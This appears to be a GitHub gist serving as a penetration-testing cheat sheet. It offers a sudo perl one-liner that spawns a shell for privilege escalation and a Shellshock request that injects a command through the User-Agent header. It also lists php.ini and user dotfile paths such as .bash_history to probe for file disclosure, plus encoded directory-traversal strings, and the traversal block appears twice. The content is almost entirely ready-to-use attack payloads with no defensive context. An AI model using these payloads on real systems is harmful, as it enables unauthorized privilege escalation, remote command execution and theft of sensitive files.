Skip to content

Instantly share code, notes, and snippets.

View SleepyLctl's full-sized avatar

Petr Pospíšil SleepyLctl

View GitHub Profile
# sudo -l
SUDO PERL
####################################
sudo perl -e "system('/bin/sh')"
Injectable: Referer:; User-Agent:; and other Headers
###########################################################
GET /script.sh HTTP/1.0
Host: localhost
User-Agent: () { ignored;};echo -e "Content-Type: text/plain\r\n\r"; /usr/bin/id
###########################################################
/etc/php.ini
/bin/php.ini
/etc/httpd/php.ini
/usr/lib/php.ini
/usr/lib/php/php.ini
/usr/local/etc/php.ini
/usr/local/lib/php.ini
/usr/local/php/lib/php.ini
/usr/local/php4/lib/php.ini
/usr/local/php5/lib/php.ini
.aptitude/config
.bash_config
.bash_history
.bash_logout
.bashrc
.cache/notify-osd.log
.config/oDesk/oDesk Team.conf
.cshrc
.gitconfig
.history
Encoded Traversal Strings:
../
..\
..\/
%2e%2e%2f
%252e%252e%252f
%c0%ae%c0%ae%c0%af
%uff0e%uff0e%u2215
Encoded Traversal Strings:
../
..\
..\/
%2e%2e%2f
%252e%252e%252f
%c0%ae%c0%ae%c0%af
%uff0e%uff0e%u2215
%uff0e%uff0e%u2216